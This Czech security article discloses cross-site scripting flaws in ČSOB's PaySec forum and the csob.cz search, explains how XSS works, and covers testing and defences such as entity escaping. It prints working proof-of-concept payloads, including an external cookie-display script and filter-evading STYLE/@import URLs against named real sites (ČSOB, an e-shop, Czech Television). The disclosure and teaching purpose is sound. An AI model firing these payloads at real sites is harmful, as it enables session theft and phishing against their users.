ČSOB podcenila zabezpečení svého webu

Webové aplikace mají určité základní požadavky na zabezpečení. Musíte je chránit na serverové straně, aby se někdo náhodou nedostal do PHP/ASP skriptů či SQL kódu (SQL injection, vstouvání SQL kódu). A navíc je musíte chránit na klientské straně všude, kde se předpokládá vstup informací od uživatele. Všeteční hackeři a spameři se budou všemožně snažit využít každých ponechaných vrátek, aby je zneužili. A právě jakýkoliv vstup dat z vnějšího světa je největším rizikem. Na příkladech řady aplikací je vidět, že jejich tvůrci si vůbec nedělají  hlavu s tím, co se vlastně v jejich aplikacích může dít.

PaySec, platební systém s XSS zranitelností

Než se dostanu k vysvětlení princpu XSS, HTML injection a SQL injection, začneme malým příkladem. Včerejšek přinesl takřka očekávatelné zjištění, diskusní fóra na www.paysec.cz umožňovala vkládání HTML kódu do diskusních příspěvků (a tím i XSS). Nejprve jsem si to odzkoušel vložením <H1>test</H1> do předmětu i těla příspěvku. A jak je možné vidět na obrázku, přesně dle očekávání se ve výsledku objevilo nejenom „test“, ale také HTML kód.

Pak už stačilo jenom vložit testovací skript (<script src=„http://w­ww.pooh.cz/se­curity/css-test.js“></scrip­t>), který ve skutečnosti otevře nové okno s JavaScript kódem. A ten pro změnu zobrazuje všechny cookies, které jsou ve skutečnosti z „cizího serveru“. Proto se také nakonec tato zranitelnost označuje jako XSS = Cross Site Scripting (skriptování napříč servery). To demonstruje jedno z možných nebezpečí, tj. možnost získání cookies, ke kterým by útočník neměl mít přístup.

Zdroj: pooh.cz

Poštovní spořitelna (ČSOB) nakonec poskytla následující vyjádření, které mimo jiné demonstruje i zcela typický vztah k tak vážné bezpečnostní chybě, jako je právě XSS. Chybu zároveň tvůrci aplikace opravili, takže aktuálně si ji již nemůžete užívat.

"Zmiňovaná věc se podle všeho týká diskuzí na webu služby PaySec. V žádném případě neohrožuje finanční transakce ani bezpečnost celého systému. V tuto chvíli by již měla být opravena.
Hezký den a ještě jednou díky za upozornění.

Marek Roll
Tiskový mluvčí Poštovní spořitelny "

Pokud jsem před chvíli napsal něco o tom, že chyba byla odstraněna z PaySec.cz, tak je asi nutné dodat, že ČSOB má stále XSS chybu na www.csob.cz stránkách. A opět, klasicky, jde o chybu snadno testovatelnou v políčku pro vyhledávání. Pokud do konce článku nepřijdete na to, jakým způsobem lze prorazit skrz filtraci (skutečně tam nějakou mají), řešení najdete na konci článku.

XSS je velmi nebezpečné bez ohledu na tiskové mluvčí

Reakce Poštovní spořitelny patří také mezi klasické reakce. Setkávám se s tím zcela běžné, včetně toho, že takto reagovala již před několika lety významná česká společnost i na dotazy televize ve stejném případě. Jakékoliv vložení cizího HTML kódu do stránek je extrémně nebezpečné. A v případě bankovní aplikace, což nepochybně PaySec je, je to ještě nebezpečnější.

XSS je totiž možné použít pro řadu zajímavých věcí:

• Získat přístup k cookies uživatele (aniž by o tom uživatel věděl). A pokud jsou cookies součástí autentikačního mechanismu, může dojít i k tomu, že se budete schopni za uživatele přihlásit. Při trpělivosti se můžete dostat například  i k administračním rozhraním a jménům a heslům administrátorů.
• Získat přístupu k dokumentu (DOM objektu) na cílovém serveru, kde ho  můžete libovolně měnit a uživatel nic nepozná. Můžete tak i například odchytávat jména a  hesla či další důvěrné informace. A můžete vše úspěšně využít pro důvěryhodný phishing – vše se totiž bude odehrávat na správných stránkách a nikoliv na nějaké obskurní .ro doméně (jako v případě České spořitelny)
• Vložit do důvěryhodných stránek kód napadající počítače návštěvníků. Což je mimochodem také způsob, jakým dnes získávají nové počítače botnetové aktivity.
• Přesměrovávat  uživatele na stránky se škodlivým kódem, otevírat nová okna, spouštět Active-X objekty či spustit takový JavaScript, který zaměstná počítač návštěvníka natolik, že vyvolá jeho zamrznutí či pád (v praxi postačí začít otevírat nová a nová okna)
• Pokud napadený web využívá Web 2.0 technologie (zejména AJAX), může se útočník napojit na interní procesy a získat přístup k dalším informacím i aktivitám.
• Prostřednictvím napadené stránky se útočník může dostat na jiné weby. V případě firem jde typicky o velké nebezpečí pro firemní intranety, protože napadená internetová stránka bude mít k dispozici plný přístup do všech míst, kam má přístup uživatel, který stránku právě zobrazil.

Jednou z dalších pomýlených odpovědí tiskových mluvčí i „expertů“ bývá i reakce stylu „komunikujeme přes SSL, nás to tedy ohrozit nemůže“. Je potřeba si znovu uvědomit, že vsunutý kód (JavaScript, objekty, atd) funguje v kontextu stránek, které jsou takto pozměněny. A budou tedy perfektně fungovat i v případě SSL komunikace.

Pokud vám stále tento výčet hrozeb nestačí, možná by vás mohlo přesvědčit, že už od roku 2006 se XSS pravidelně umisťuje na čelních místech žebříčků bezpečnostních hrozeb. V SANS Top 20 2007 Security Risks najdete XSS pohromadě s SQL Injection a PHP Remote File Include.

Jak funguje XSS

XSS (Cross Site Scripting) funguje velmi jednoduše. A v řadě případů je jednoduché testovat webovou aplikaci, jestli náhodou není napadnutelná právě tímto způsobem.

Základní princip zní – jakýkoliv vstup je nebezpečný a musí být ošetřen. Pokud se tohoto principu budete držet, v řadě případů pomůže i proti SQL injection (vsouvání SQL kódu). Co si ale musíte dobře uvědomit, je, kde všude vlastně má webová aplikace vstupy. Budete totiž muset odzkoušet všechny vstupy ifnormací, které se mohou nějakým způsobem objevit ve výstupu zpět k uživateli.

• Parametry adres (čísla článků, vyhledávání, texty, prostě cokoliv, co se předává přes URI).
• Viditelné formulářové prvky (ohlasy, vyhledávání, poslání odkazu e-mailem, poslání článku e-mailem, přihlašování, odhlašování,  atd).
• Skryté formulářové prvky (vy si sice myslíte, že vidět nejsou, ale není problém je měnit).
• Stránky sloužící k hlášení chyb v aplikaci (kde se běžně zobrazuje něco z toho, co do aplikace bylo předáno).

U formulářových prvků se nenechte zmást rozdílem mezi HTTP POST a HTTP GET. Je uplně jedno, kudy se informace z formuláře předávají (parametry URI vs. součást HTTP komunikace). Není vůbec problém si vlastní upravený formulář připravit na lokálním disku a pracovat s ním.

A pokud budete chtít být opravdu důkladní, existuje ještě pár dalších míst, které na první pohled určitě nebudete brát jako hrozbu :

• Refererová informace, která se často ukládá do publikačních systémů.
• Označení typu a vlastností prohlížeče, které se opět může někde  ukládat, případně být někde použito.
• Cookies, které jsou běžně ignorovány jako zaručeně neměnitelné.
• Obecně jakékoliv (běžně neviditelné) parametry v HTTP komunikaci (hlavičce).
• Ve Web 2.0 aplikacích mohou být rizikem i další vstupy, jako XML/RSS atd.

Pokud se ve webové aplikací objeví jakýkoliv neošetřený vstup, jehož vstupní data se nezměněna objeví na výstupu, je zde velký problém. A je jedno, jestli jde o okamžitý výstup (například parametr adresy pro vyhledávání), nebo o výstup s použitím nějaké databáze. Oboje je využitelné pro útoky.

XSS totiž nedělá nic jiného než HTML injection, tedy vsune HTML kód tak, aby se nezměněný objevil na výstupu uživateli. A s pomocí (zejména) <SCRIPT>, <IFRAME> a <OBJECT> konstrukcí si s návštěvníkem může dělat prakticky cokoliv.

Jak otestovat web na XSS

Otestovat web na XSS může kdokoliv. Najděte místo, kde se s největší pravděpodobností vstupní (zadaná) data objeví na výstupu. A zkuste tam prostě dát <H1>TEST</H1>. Odeslat (či vyvolat URI) a podívat se na obrazovku – pokud se tam někde objevilo velké TEST, je jasné, že se HTML projevilo v plné parádě. Pak už můžete začít experimenovat. Například <script>alert(„Má­te tady díru“)</script> způsobí zobrazení okna s „Máte tady díru“ zprávou.

Případně můžete použít již zmíněnou testovací stránku na Pooh.cz – <script src=„http://w­ww.pooh.cz/se­curity/css-test.js“></scrip­t>. Ta otevře nové okno a v něm zobrazí cookies ze zkoumaného webu. A mohla by toho dělat samozřejmě daleko víc.

Při zkoušení můžete narazit na občasnou potřebu ukončit HTML konstrukce, které se pletou do cesty vašemu kódu. Většinou pak postačí něco na způsob „><script>aler­t(“Máte tady díru")</script>. Případně se podívejte do výsledného kódu a přizpůsobte se.

Na testování XSS existuje i různorodé bezpečnostní testovací software, které má zpravidla řadu dalších funkcí. Pro potřeby tohoto článku ale bohatě postačí, když zůstaneme u „ručního“ testování. A také když nezapomenete, že jakékoliv parametry v URI mohou být napadnutelné (příklad : http://nejaky­web.xx/search­.php?h=<scrip­t>…</script>).

Na konci článku zmíněné The Cross Site Scripting (XSS) FAQ vám navíc může pomoci i dalších tricích spojených s XSS. Někdy bude totiž nutné použít kódovaný způsob – a právě ve zmíněném článku najdete několik příkladů použítelných parametrů zakódovaných do hexadecimálního vyjádření. A ještě lepší je XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion, které se velmi dobře věnuje tomu, jak obejít různé druhy filtrace.

Jak zabezpečit web proti XSS

Zabezpečit webové aplikace proti XSS je velmi jednoduché. Stačí se držet již zmíněného pravidla, že „jakýkoliv vstup je nebezpečný a musí být ošetřen“. V praxi to znamená zejména, že:

• Pokud je vstup nějakého datového typu (číslo, datum, atd), je zásadně nutné aby docházelo k odpovídající konverzi.
• Pokud je vstup textového typu, je nutné z něj odstraňovat nebezpečné znaky případně nebezpečné HTML značky (nejde jenom o SCRIPT, OBJECT, IFRAME – přidejte si například i FORM, META redirect, APPLET, EMBED a řadu dalších).

Z hlediska XSS (a využití přes HTML Injection) jsou speciální znaky zcela určitě „<“, „>“ a „&“. Pokud ve vstupujících datech podobné znaky nemají co dělat, máte situaci značně zjednodušenou – můžete je bez milosti vyhodit.

Pokud ve vstupujících datech mohou být, pak je zde jiné řešení – převeďte je na HTML entity &lt;, &gt; a &amp;. Stejným způsobem můžete řešit řadu dalších znaků, ať již mají názvy v entitách, nebo je možné je vyjádřit kódem (&#169 je například copyright). 

Pokud je v aplikace nutné zachovat HTML kód (může jít například o publikační systém, kde chcete pro uživatele či návštěvníky zachovat možnosti formátování), musíte se postarat o odstranění všech špatných HTML značek, které nejsou povoleny. Respektive, ještě lépe, ponechat jenom takové značky, které jsou povoleny. Situaci vám sice trochu zkomplikuje možnost zneužívat parametry HTML značek pro vkládání skritpů, ale s tím se už určitě nějak vyrovnáte (příklad: <IMG SRC=„javascrip­t:alert(‚XSS‘);“>).

Budete také stát před rozhodnutím, kdy vstupní data filtrovat a opravovat. Můžete to totiž činit již na vstupu nebo na výstupu. Důležité to je i v případě ukládání do databáze, kde lze doporučit variantu filtrace na výstupu – můžete tak totiž předejít i situaci, kdy se někdo vloupá do vašeho SQL serveru a pozmění všechny vaše články.

A ještě poslední špatná zpráva – v některých případech může dojít k vkládání HTML kódu pomoci jiných znakových sad, než je běžné ISO-8859–1 (kam „<“ a „>“ patří). Stačí si uvědomit, že existuje například Unicode. A „<“ s „>“ existuje i v Unicode/UTF-8 podobě, včetně toho, že funguje zcela správně – detaily viz již zmíněné XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion. 

Jak sám sebe zabezpečit pro XSS

Uživatel samotný je proti XSS prakticky bezmocný. Respektive je bezmocný proti jakémukoliv škodlivému kódu, který se objevuje ve stránkách. S jedinou výjimkou – pokud zakážete JavaScript, značně zlepšíte šanci na úspěšné přežití na Internetu. Sice se nevyhnete bezpečnostním chybám zneužívajícím například obrázky (typicky přeteční zásobníků apod), ale klasický XSS se nemá čeho chytit.

Doporučené čtení týkající se XSS

• CERT® Advisory CA-2000–02 Malicious HTML Tags Embedded in Client Web Requests
• How to prevent cross-site scripting security issues (Microsoft)
• The Cross Site Scripting (XSS) FAQ
• XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion

Slíbené řešení toho, jak využít XSS na www.csob.cz

Jak už jsem naznačoval, existuje řada způsobů, jak obejít případnou filtraci. A jde skutečně jenom o to najít, jaký ze způsobů zabere. A jeden takový poněkud zvláštní zabírá i na hlavní web ČSOB, tedy www.csob.cz

http://www.csob­.cz/bankcz/cz/hle­dani?search=
<STYLE>@im\por­t'\ja\vasc\rip­t:alert(„XSS“)';</­STYLE>
&useSection=0&sec­tion=Csob&lan­g=cs

Na příkladu ČSOB je ale jedna hodně zajímavá věc. Pokud budete trochu zkoumat, zjistíte, že je přítomna nějaká filtrace, která v řadě případů vložení HTML znemožňuje. Paradoxně ale dochází k zpětnému zobrazení vstupu bez přeměn „<“ a „> na entity. A právě <STYLE>@im\por­t'\ja\vasc\rip­t:alert(“XSS")';</­STYLE> je problém – vyhne se nasazené filtraci. A stačilo  by skutečně velmi málo. Menšítka a většítka proměnit na entity.

Stejným způsobem můžete v plné míře využít XSS na řadě internetových obchodů. Příklad :

http://www.bike-eshop.cz/dotaz/?do­taz=
%3CSTYLE%3E@im%5Cp­ort%27%5Cja%5C­vasc%5Cript%3A­alert%28
%22XSS%22%29%­27%3B%3C%2FSTY­LE%3E&search=y­es&x=7&y=12

A mírnou nutnou změnou dosáhnete kladného výsledku i na webu České televize:

http://www.ces­katelevize.cz/hle­dani/?dotaz=
%27%3E%3CSTYLE%3E@im%5Cp­ort%27%5Cja%5C­vasc%5Cript
%3Aalert%28%22XSS%2­2%29%27%3B%3C%2FSTY­LE%3E
&kodovani=windows-1250

V tomto případě jde o praktický příklad toho, že občas musíte „ukončit“ nějaký HTML prvek. V tomto případě jde o <input>, v jehož value parametru se vložené HTML objevuje. Pokud vložíte pouze „<STYLE>@im\por­t'\ja\vasc\rip­t:alert(“XSS")‚;</­STYLE>„, nebude to stačit. Ale jakmile před tento řetězec přídáte "‘>“, dojde k ukončení <input> značky a vše funguje, jak má.